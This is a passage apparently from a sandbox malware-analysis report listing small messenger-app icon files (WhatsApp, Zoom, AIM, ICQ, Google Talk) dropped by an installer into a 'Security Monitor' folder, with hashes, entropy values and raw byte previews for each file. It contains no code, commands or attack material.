C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\WhatsApp.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	830
Entropy (8bit):	7.743747035981289
Encrypted:	false
SSDEEP:	12:6v/7MppO0bioeoVRws0LZivpCt1BIwB2QG9Qs1Vzaok9cz7A1oLVDiDkaBx9q8rS:hg0OX6wVduQywAQG9vSkEQiDY5aA7
MD5:	EB5BFEE784207B0EED0CB53FB3CF7509
SHA1:	519EEA88024FE4ABBA292A5097D879D42EEFC813
SHA-256:	450B1779BBDB391E340B1A142C0F2AB89836F6E7BDEAA864F9D660059129F13E
SHA-512:	0404FF8FFCDB1F8A1935837883102FF113EC3E18E550544F7B33D8554D8DFE4EEAF3590A88E9C62A02AFCCDA0946E17BDF2700FD85CF84E912CDDDF09CB883E9
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.u.iHTQ......q2...f"K3...2.6[....5d......J..PadHE.m..mS9QD.E..Q.eaD..c.Fn.::.{...YM....{~...._.?..".Yqo...i&9,..W.ie..2....,x=.J.mR....sV...=w.\.....5.0'r...p...A.<.u.....j..~:...u..w...~Sf..Xc..a9../..<.1.....ks....9.7..Uf.D0....H......B...IR6.\$s..%.2.\|:.)!..[..0.....o......f.6....'Ud.(..x.#.c...v8..'......]....0.".T.Zn.>..}_......@...QP{.B....G..";&...&v}<.bj.....6a.m.f<.E......[....b.1./.....H.M9..Z........%q......bs......\|..%.z.wcp.Y.$.I......oJ.m......[s.'[...:..N[....\|.r...$.b......L7.B..M.n...jx.q!.2.!...I.^.!...6..>*.9.=..~Y.....L.dd..F~.8Pw..J-.mY.(~.c......7..W.f'.n.q1.D}..J...1....Re..t.,........A.g.Gy..x...\|.+c..+.2......f.....{.ui=.....@U...;...U.........Jz....o"...e...J.x.im..{...!.......O@s.O....0X.7f'K.g8......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Zoom.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.106456125169888
Encrypted:	false
SSDEEP:	24:nEPSZPkAOaXJtA62XWFFFFpkne+FqQ/9tTb:nEiVrJth2mFFFF2B/zTb
MD5:	BBE192389A8CA57807477962B401ACF4
SHA1:	C83E12B14231768D76436CCF919B52D7017801AF
SHA-256:	D546F20D90D384C9A3AF269B16D2C3B06E0500B43668DECA44E7BD50AA525037
SHA-512:	53B9B4EB7E2B1D598AD360B376090AF6A7EC7A4E83D44932E08E8A9D1545BA3BBA9AC7B29B0E2A52F2F02524D79D8A0070FA77D24D2398BD377A975B85B92B74
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ...............................=...=...=:..=v..<...<...<...<...<...<...<v..=:..=...=.......?...?...>...>...>...>...>...>...>...>...>...>...>...>...?...>...A...@...?...?...?...?...?...?...?...?...?...?...?...?...@...A...B:..A...A...A...A...A...A...A...A...A...A...A...A...A...A...B:..Cu..C...C...B...A...A...A...A...A...A...C...A...A...C...C...Cu..E...E...D...S.......................L...g...s...D...E...E...G...G...D..........................................E...G...G...H...H...G.........................................G...H...H...J...J...I.........................................I...J...J...L...L...K.........................................K...L...L...N...N...L...}..................v...L...p...{...M...N...N...Ou..O...O...N...N...N...N...N...M...N...O...N...N...O...O...Ou..Q:..Q...Q...Q...Q...Q...Q...Q...Q...Q...Q...Q...Q...Q...Q...Q:..Q...S...S...S...S...S...S...S...S...S...S...S...S...S...S...Q...T...T...T...U...U...U...U...U...U...U...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Zoom.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	542
Entropy (8bit):	7.521572092864423
Encrypted:	false
SSDEEP:	12:6v/7VDZbIJn0vRHCeQgHr8zLKMqUuwmUL27QyFY7:xN0vRHCej+m2bR27QyF6
MD5:	686CF19C035D7BB3523CF7FDF3F39F13
SHA1:	862BDC58F8EB03A07C866566FFCFA7228987899C
SHA-256:	3FDF0CE404773A9703AC716DCA370D349A630E7A2098BE497D0C472CAE80C38B
SHA-512:	7F8EF9F4D6D8AE5E6DAE76DDA7C8B389C3EC1DFE022FDA23790731272EEE7AD209CCD5890D3142B1C7F57D557A1A27202534A3085AD3A734071A898F1E0B6512
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.SMHTa.=w.....!...6-"B..MRB.Q.\.."..U..U.....F:3..X.M..G.t!..KI.T...w;..~.1......~..'...W..K..."n.W.q.....1........tB.G..........\.VE..E...q''.B/.D...\..j.#'~...T-G.c...(..&.DZ.N.+GT.o...~.s..(..g..K..."...t..60..X...fv....~.F.).....H...nv..)...y.`~U......4.....0.]5..l..+..eT7.C....$..u:A...d.....`..%..../.......dh-..?..&.....(....O.)u......$..a.^..A..."Dwk_1...U ...,.i..A.T....3D..._.Z...l$1..p.....A+_l..`.=R..d6.T...K..OSL..f..nu_...g...S.3.L....r........g.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\aim.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	6.511795576297305
Encrypted:	false
SSDEEP:	12:ON6zzzzzKMSSSSSMa5HVyx7UmImSoH2bnDIjPNNJOtDrc53VrVOt/bQt8wQHz/HC:OD5H4lUbJfUIQ4lQ4j+HPKoCP652q
MD5:	9A89DE631D87C981A0AF3C07FD4AF610
SHA1:	6A5EE66ADA6C57C1FB8B142514DEE3272FF21605
SHA-256:	5E9C12BB009E1DB9568B273B53EBCA3500C3E6D113961729ADF98012FEE299B8
SHA-512:	B3F9BB8803CEAE7E33611BDED0C236C0A14DC6DE730A15910BD80ED15D1CF63BF8A83449E4EB83F593F9FC82C7E4C775AD799A206D3EEC93F8EA99B3746D005F
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .................................\|~..\|..1\|..2\|..2\|..2\|..2\|..2\|..2\|..2\|..2\|~. }.................BI..{..#..."..."..."..."..."..."..."...#... ....AcY[c.Y[c......-...>.. @.. @.. @.. @.. @.. @.. @.. @.. @...?...(..Z]n-Z]n-...-$B..#D..#D.."C..!C.."C..!B.."C.. A..!B..#D..#D...<.._g.M_g.M.../(G..#F.."E..?]..........Ur..<[......]x..$G..#F...A..bl.Obl.O.../(I.."G..,O..............................2T.."G...C..bm.Obm.O.../(K.. H..Qn..........Kh..............<^..#J..#J...E..bn.Obn.O.../(M...I..g.......k....G..$L..........3Z.."K..#L...G..bn.Obn.O.../'P...L..`~......g....L...L..........Qv...M.."O...J..bo.Obo.O.../'R.. P..Bh..........!Q...N..^}......Z}...O.."Q...L..bp.Obp.O.../'T.."T..%T..........r...*[..-[..Ot..h...9g..!S...N..bq.Obq.O.../'V.."V.. U..@i..........................6f..!U...P..bq.Obq.O...-'Y.."Y.."Y.. W..=h..................\...!X.."Y...S..br.Lbr.L...."P..!].."\.."\.. [..!Y..-a..3e..(_.. Z.."\.."]...M..^g~(^g~(....+N.B,_..)^..)^..)^..)_..(^..(^..)^..)^

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\aim.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	786
Entropy (8bit):	7.667079474837334
Encrypted:	false
SSDEEP:	12:6v/7auxjxCwxayWi4r6JPSKu0G1dEnJrZkTAilExOZgaMGQC23gdHtCDswPoLrQJ:Yhgwu6JaPE8aK8GMZPPo3FlEpb6K
MD5:	60B69382DCB4792F0853815F1C3DC793
SHA1:	EF08278795D17F21D3BDE98A44CB5247E18FB6E3
SHA-256:	884887A5D27E4B1F683CF9BA3549797E9F2ACD7763144839CF690C87E38D348A
SHA-512:	115E4BC5A59F02C9F8B72541F256EE683A7FB2DF2F16C560894B83AF2141659553937FAE4FC0246561F7EAFB8E921A1A081F3BEA89825A32BABF96AF00880663
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.}._H.A......uzu.^d...bV..b.).I.$.P.BP.a)......4..FT.=DXf.Y..f.QV...%!5M.<.\..L....P......33...A.y.z...,"...a....5.f.V....W.3\.vRce..H..c.:F.P2..W..,.v'.....an=zo}....H..J.Tk,`..$.aV$@.`.!.>.c...p..i{........(E..!...u90.b....}t.d....L.j.3..4..>}...re..D.W.:.a.!7.V..}{.:1.b.A.>.x.lr..E.y.......\2..&..:8rw@.Q..E..1.LEL....[....X....9p..tF..S.P...........)+...OCm9...?.`...<+...8.N..F...[ ......='..p.9...P........Ua@....1.>...>.(+L.M..HC.X)...H.......h.&.j..$......\|..A.r......w...!..C......0..k#..,R...7,9..............^...'A.>L.<..;.p.,......1..%.bb!?{.mt.....>{....E..dD.W..eZ....9)f....3..W..+Q.......p....v7.C...E...h.a..7}....Q..ME..n.+).p.U..7.%......46..'.S.J........h%.......H...!C'j.4}.7.3[\|h.nQ....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\google talk.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.739434322498255
Encrypted:	false
SSDEEP:	12:iStQidpNKcrw3FGbVzh8MgzemLqu+kqkng6dPEAaRAdViNSOC09YzmLk:i4xuNYBzh8MkeZLRkng6q/RWmSDKYzR
MD5:	5782C8F6C70B8E884FCB822EEF286EBE
SHA1:	66776EDD49D55F0F440FD5DCCF38FC27147076C2
SHA-256:	C067BD4E1DDB1EDA87201D7BA65BEB416C56A9ED486D17454148E9A013A6BD32
SHA-512:	70366DDABF05D4A60C6AE09266A4911CE61268DE7C3E83292A627344AC048A1510F46B48A566790B986AB1264E3FF38FBCC552A3E60A9249D7F1D12E44657CBD
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .....................................................................................................................................................................),).....)().)()R....................................................),)JJMJ.kmk.)().989.................................................!$!.\Y\...101.kmk.....................................! !B!$!.)().wxw.........sqs.kik.RUR{9<9!................)()!!$!.RQR.................................cec.BEB.989.....),).)()................................................989.9<9.!$!.................................................xzx.{y{.)().),).........................................................)().101.........................................................)().),).........................................................!$!.)()ckmk.................................................JIJ.)()J....),).............................................ZYZ.)()s............101{Z]Z...........................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\google talk.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	586
Entropy (8bit):	7.630848437869861
Encrypted:	false
SSDEEP:	12:6v/7czkgzR/pOsg/sx7MiqeJACAHDTOipuwsOmA8PJO/Y7:xQgzRBX6e7nmC+puF9U/Y7
MD5:	FA83ECDD6AFBEFE0DD30A620574872DE
SHA1:	8B3299A9244809F9541BFFB7A1CCD8D58AB53EB0
SHA-256:	9AEA100DC1DCFA58A542BD9294F67B454CFD8669CC199F6C43ECD9A4C3E99E1D
SHA-512:	202937104E00E187A4CCB1D3D2352F19E1966E71DF015D1E5E529B3C148D4A91FCFF18C0D0A08CB23660962BEC06417D1EABD47D0F48A07A5DB22DFC4EB6048D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.RAk.`.~c;.U..x..._P0..).t./....":$.......2iuu......O...VH.A>..^..S.....l...H...........}... ....II.E..".$ID....`_X.5.e..q.....q..@RK.U..=..MUT^..!..!hC..X.^....v..RG..j..).&.q.0.oM....Ah..w.....PJgj.....U...^..?.a`......3_..]..)..{9.......P\).z...t.-......pB..Z.QZ).........>...O..C.....%.....O.>q.4....kS...{..... ..Ks.....v.N.....H.<.kb.;....U0f.G..J.._.......?.......q?..-...U....[3v....&.D.Q5.G...IY..7?o...C..,..%*.e.=..~.g.......D.X.Q..]........`+..W.J.^..y.Wm.._..,5....1.sXU.o..<._.....J..Wa.g7....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\icq.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	6.401447563259091
Encrypted:	false
SSDEEP:	24:GxwtVB49rxl+FrnlMxh8M2J382e416LZYuegYtTn2H:YwjBoxlyDlMxj2J3SC6uSuT2H
MD5:	54C24D9A4A0FECA1E1732A2A800FAC29
SHA1:	D089A770D1565011BF54CFF7DCD29885F5595340
SHA-256:	3BD7E6C88BC3E06CF51817BBCB9CE14895D22A71E96E571F108110A33273FF59
SHA-512:	B07A8DE23A7D69413BA31E7ADC81B9F0200D58F7F247F78E5453ABAF737FBAE35D60801E3A33AA2F62C27AEABC2F669CA38198111140BE989E2DD315F651BB56
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................#p-...0......E.........+...A.................................4.l...................z......%..J...............................5.v...... ...1......`.........................................6...]....-.R.K.u.5.H.#.6.=.j.,.L..m...".. f%.$S(.........)+A.:<..!....0I.1.?.`..1.A.+.C.f..9.V..W..............)f+.....12...............4g......\...p...9..z'...)...1...+..... .#.....$$M.&...F?..E?..&....@g......~...^....9.8.i.3.f...H.....'.%........m'><.2=..><..,.................~.#\|!.@.R.?.R...1..g..DT;T..s..!..............w..D...........".a..............v...5......$q#.'.;...)...".........!v%.[.{.C.i...............'.......'..?..5u4.U.m...W...5... ..\|.......\|...........r........>...I.O.c.'x&.\fQ6H.Q.4.U..s..l#...'...............!...!..g"...2.;.d.I.Z.TpKPaeU.XYK./($!.'.u..5...;...6..{"...&...;...:...-..7..),#.YaN.giZ.bhV.>C6......Z'.G.t...E...=..["...3...9...<.L.x."z1.....02.X^N.\bQ.KPA.HK>.F_BLY.q.m.../.N..&.^..>.Y.....

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\icq.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.758725240902144
Encrypted:	false
SSDEEP:	24:PLiyUaMQzTd2JxkVLDF0b5YPQfmCmGnX49:DFKmR6kVne5YPxCmEa
MD5:	5B29258244BCAD93923044B9CA6349A1
SHA1:	CC6CC6ABE4420DFA97552F5A1FF0DACA652AACE6
SHA-256:	A7D4C1C8C6FCEC92068D60D0DEFBAA38EA75010D01EA753FC913749CC89E8FDF
SHA-512:	AA8345E54E397D1AECE33F8CBE66B12AAB5F373109C787DE7C8C23BB0949A2B184CC1FB2E08CFA66F7374ABFD26EAA21D85857C74B67AEE31590A197971AF15C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.MS{L[u.=.{o.K{)miy..<G......sF.#..d..;F.#S.-:53.ht31n..BLD.0..9E.3,u.s!.2....W_./.....k.h8._.9...\|.s.7(..!..D..&.g..m.9..D.......-..r..#....!.N.V.+U..tu#".!K2..........db\|"}.?.[s\>....x.....1....T.......z....;......lgv.4.\...\|~,...{....Mk........s...&To..y...H..........l.}m.h).....l.`k...@.O.....6$.N8[...k\"...m.'8....o....i..<......X.HM..Z.H..4R&..P.:k.7..?.zH.....9v.u.`..E..\|Dy...UP3Z.5)..).~5.."..H....v...>..H.......f!u.iEF@.M..k..]......NM".1.K.....,....0(}Dl.%...D.D@"...hp^.C[.g.c@$..w_.K...B.&u`\|..\|..66.>@(...r.......`t......#....i...J..,.....T....oN.V...%.......H.n.v.%...i/.4D..)....w<".=...+ +.......Xw."....\|...s.%..#/g5...8..@...l...........[.E&.`%...w......t.U....w99Z...A...F.v.:(M.O<..W..{x!.z4..)p.<.G..Z.X..A...tu........n.n...9.hy..>...~o....i....1.....O...ZK......&.f=...SW../`\M.......".Yds.R..:.CY...~+srI.@...E.?f...W...aI..,\Xyy.........u..G...{...D.P.....X-...k.b..D.Y^.........1....IEND.B`

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-4FIMA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.106456125169888
Encrypted:	false
SSDEEP:	24:nEPSZPkAOaXJtA62XWFFFFpkne+FqQ/9tTb:nEiVrJth2mFFFF2B/zTb
MD5:	BBE192389A8CA57807477962B401ACF4
SHA1:	C83E12B14231768D76436CCF919B52D7017801AF
SHA-256:	D546F20D90D384C9A3AF269B16D2C3B06E0500B43668DECA44E7BD50AA525037
SHA-512:	53B9B4EB7E2B1D598AD360B376090AF6A7EC7A4E83D44932E08E8A9D1545BA3BBA9AC7B29B0E2A52F2F02524D79D8A0070FA77D24D2398BD377A975B85B92B74
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ...............................=...=...=:..=v..<...<...<...<...<...<...<v..=:..=...=.......?...?...>...>...>...>...>...>...>...>...>...>...>...>...?...>...A...@...?...?...?...?...?...?...?...?...?...?...?...?...@...A...B:..A...A...A...A...A...A...A...A...A...A...A...A...A...A...B:..Cu..C...C...B...A...A...A...A...A...A...C...A...A...C...C...Cu..E...E...D...S.......................L...g...s...D...E...E...G...G...D..........................................E...G...G...H...H...G.........................................G...H...H...J...J...I.........................................I...J...J...L...L...K.........................................K...L...L...N...N...L...}..................v...L...p...{...M...N...N...Ou..O...O...N...N...N...N...N...M...N...O...N...N...O...O...Ou..Q:..Q...Q...Q...Q...Q...Q...Q...Q...Q...Q...Q...Q...Q...Q...Q:..Q...S...S...S...S...S...S...S...S...S...S...S...S...S...S...Q...T...T...T...U...U...U...U...U...U...U...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-54IQ1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.5511716867819327
Encrypted:	false
SSDEEP:	24:BifyRHHHHHHHHHHHlKDAYHQhY4O4ZYwg7iTT5:wfyHHHHHHHHHHHgDAMQhY4O4ZYwg7iT1
MD5:	F311592151DC7F196CDBC8AF6D426B28
SHA1:	159C11940E4F380F62D56AD12745600EDBEF1E15
SHA-256:	03290429CE68AFD7507C177C9446EFBCC47CFD040DECA70105988D0057919317
SHA-512:	A3259406480C89E73B408DBFDA00B8CBE5F2B168A1C46F6FE73A228B167CDC532FFBB315BD027B130634B8A248F488BD2ADA22CA5A45DF2AD3E728D3FA5DA832
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..................................l.(.l...l...m.?.m.`.m.\|.k.y.k.].o...............................r.A.q...q...q...q...q...q...q...q...q...o.7.....................u...u...u...u...u...u...u...u...u...u...u...u.o.............y.a.z...z...z...z...z...z...z...z...z...z...z...z...z.^.........~...~...~...~...~...~...~...~...~...~...~...~...~...~.........\|..........m.......................3........................\|..............x.......9.......'.............................................................................8...................................8.............................................................................'.......9.......x.......................................8.......................m................H...........................................................G..........................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-6M4L4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	830
Entropy (8bit):	7.743747035981289
Encrypted:	false
SSDEEP:	12:6v/7MppO0bioeoVRws0LZivpCt1BIwB2QG9Qs1Vzaok9cz7A1oLVDiDkaBx9q8rS:hg0OX6wVduQywAQG9vSkEQiDY5aA7
MD5:	EB5BFEE784207B0EED0CB53FB3CF7509
SHA1:	519EEA88024FE4ABBA292A5097D879D42EEFC813
SHA-256:	450B1779BBDB391E340B1A142C0F2AB89836F6E7BDEAA864F9D660059129F13E
SHA-512:	0404FF8FFCDB1F8A1935837883102FF113EC3E18E550544F7B33D8554D8DFE4EEAF3590A88E9C62A02AFCCDA0946E17BDF2700FD85CF84E912CDDDF09CB883E9
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.u.iHTQ......q2...f"K3...2.6[....5d......J..PadHE.m..mS9QD.E..Q.eaD..c.Fn.::.{...YM....{~...._.?..".Yqo...i&9,..W.ie..2....,x=.J.mR....sV...=w.\.....5.0'r...p...A.<.u.....j..~:...u..w...~Sf..Xc..a9../..<.1.....ks....9.7..Uf.D0....H......B...IR6.\$s..%.2.\|:.)!..[..0.....o......f.6....'Ud.(..x.#.c...v8..'......]....0.".T.Zn.>..}_......@...QP{.B....G..";&...&v}<.bj.....6a.m.f<.E......[....b.1./.....H.M9..Z........%q......bs......\|..%.z.wcp.Y.$.I......oJ.m......[s.'[...:..N[....\|.r...$.b......L7.B..M.n...jx.q!.2.!...I.^.!...6..>*.9.=..~Y.....L.dd..F~.8Pw..J-.mY.(~.c......7..W.f'.n.q1.D}..J...1....Re..t.,........A.g.Gy..x...\|.+c..+.2......f.....{.ui=.....@U...;...U.........Jz....o"...e...J.x.im..{...!.......O@s.O....0X.7f'K.g8......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-71RG7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	542
Entropy (8bit):	7.521572092864423
Encrypted:	false
SSDEEP:	12:6v/7VDZbIJn0vRHCeQgHr8zLKMqUuwmUL27QyFY7:xN0vRHCej+m2bR27QyF6
MD5:	686CF19C035D7BB3523CF7FDF3F39F13
SHA1:	862BDC58F8EB03A07C866566FFCFA7228987899C
SHA-256:	3FDF0CE404773A9703AC716DCA370D349A630E7A2098BE497D0C472CAE80C38B
SHA-512:	7F8EF9F4D6D8AE5E6DAE76DDA7C8B389C3EC1DFE022FDA23790731272EEE7AD209CCD5890D3142B1C7F57D557A1A27202534A3085AD3A734071A898F1E0B6512
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.SMHTa.=w.....!...6-"B..MRB.Q.\.."..U..U.....F:3..X.M..G.t!..KI.T...w;..~.1......~..'...W..K..."n.W.q.....1........tB.G..........\.VE..E...q''.B/.D...\..j.#'~...T-G.c...(..&.DZ.N.+GT.o...~.s..(..g..K..."...t..60..X...fv....~.F.).....H...nv..)...y.`~U......4.....0.]5..l..+..eT7.C....$..u:A...d.....`..%..../.......dh-..?..&.....(....O.)u......$..a.^..A..."Dwk_1...U ...,.i..A.T....3D..._.Z...l$1..p.....A+_l..`.=R..d6.T...K..OSL..f..nu_...g...S.3.L....r........g.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-7BSH8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	2.89668669623498
Encrypted:	false
SSDEEP:	12:dDWdAyhFGViosMZNrBK5aTeiVIrSXgXdaguWUl:hxyTGVihMPBK52edrSXgtbUl
MD5:	2102DF54739C5E5FFEDDA31CE18A430E
SHA1:	B62D93ED6661FE4E0080D7CD575D0F81E8640D9B
SHA-256:	2DFDE998FEAC91E72BFDCDDF174000539C525233D4E3EA4744BD08EF70E6C9C0
SHA-512:	654F18D0C0F4309A8C559E4E0CB2D4497AABE9D9D5BDC51EA100CAF0455FC26702E0AA8390B3D7113CD7F752391B9A3283491B5A1623E0060F302EF2A816B7ED
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ............................"...........................................................".......................................................................................................................................................................................................................@.@.............9.9.............................................................................................................................................................................................................................................................................................................................................................................................................................H.H.........................................I.I.....................^.^.................................^.^.......................................................!.!...........................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-7TR0J.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	712
Entropy (8bit):	7.689986023244019
Encrypted:	false
SSDEEP:	12:6v/7hFFKT/SNQRb8l3lGQdnJ5l9hfP5Y3OLHLeTS8T38YuFc5Hdp8rMPLQX:2rW/SNQRgl38UnJ5Vfy3OjLZ8T38YuFz
MD5:	BA4DA486665B6C79F792A39BF6F03ACF
SHA1:	3746A3488D981870D9CDC6FE16DD6C8171DE6E0F
SHA-256:	5444F65B5694092DD587F8C3E8BB44E159556E45688C856BD5F9515FAD6FF2B8
SHA-512:	9C3D87AEB7C2E5CF5FC08DBF666E9DBBBE431EF71BB83D5C769C9F88DDFB41934C404D72985E320B6BAF0C9F1FF45E057B82C76EBA54BFA01BF2456533F3C0D5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.S]HSa.~..;.gS..,KDSG6I....$..D..........B.X....].".EH.Be%.$^x......!.b.%..s..Y..%..q...>..>...4. .....&s.~W...X}./..YO....R............h.....Ju....$....e...ij.O...\..%..w..pp-..8I.x...5.]..u.$vo.J.(....b..h..TC.K...>1D.p(.po..5.i...}..:.eP..a..edGs.C.v.y2t..)...OGMA..$..J.v....)\|...$.7Ed~.E.[.J..1...n..'.......BaD..[.) ....(~.1PA...U^<@.y.=,5c\'(rYP[.@yN.0...\.)FV..Q......3.hK.Rb?.j.....j^....q"?.......-....'...)..'.QD...7..U.....^...w.g.........>.......o?e..o.>Bl.A.]+d....C..f4..C......7...?..V...RZ.;/D.V..(...G5"...G.wO.L.D..K-.m-. !......`M...p...evT.L..].....:.P.{...@L..R..r[..?.1.`...+N=...i@S"j2......2!.c....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-83T5E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.518492008840673
Encrypted:	false
SSDEEP:	24:XTZmE/ZYQwseqlUQQSbG1tHhRNyYkTHHSD:XTgEGiSnZiL8
MD5:	6F6B30B331D4B1B52218C3EE9F6008E5
SHA1:	99BB8C47F45B605BA74866586F9B2AC64CAE082A
SHA-256:	E5995C8370B5C383F7B3A60F3A79D3A67650A85C3A954D208E4736F4021BE24E
SHA-512:	1BA21D5611D96D7090F3A9E80E1DBBE34C390E02AA7145354F069253B0D440D488D24F385CC2A0A9469A9D5D9EFED10D4D1F15A8D36969497593A2B60903B885
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ...........................................................................................................v.........@...@...........................................p...Xy..........................p...................0...........X{..Y\|..Z~..[...\.....................0.................Wy..Xz..Y\|..Z}..[...\...........i...`.................P.....Wx..Wz..Y{..Z}..Z~..z...................`...j.........0.........Wy..X{..Y\|..Z~..........................`...`.........p.......Xz..Y\|..Z}..............q..........._..._..._.................Y{..Y}..y...........]...]...^...r......._..._...................Y\|..Z~..............\...]...............^...^...................Z}..y...............\...................]...]...................Z}................[...................]...\.........`...0.....d...Y}..........Z~..z...............[...\...p......... .............d...Y\|..Z}..Z}..d...y...Z}..Z}..Z}..e.......................................n...Y\|..Y\|.......

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-8H67S.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.995757173580584
Encrypted:	false
SSDEEP:	24:kV8FtQm5AZDsVYmrJcEa7RjyWtYmmatOjk:k6FtQXwY2CEalWyYbatOjk
MD5:	D7F9CD5B7E1275B24EB50769BBBE3021
SHA1:	0B213D27ABDB5016B1805C2FCE5238196F48718C
SHA-256:	414BDEC0A45A95F08390272EDFFF615879E3D0116FFA38AE341770327C8A69ED
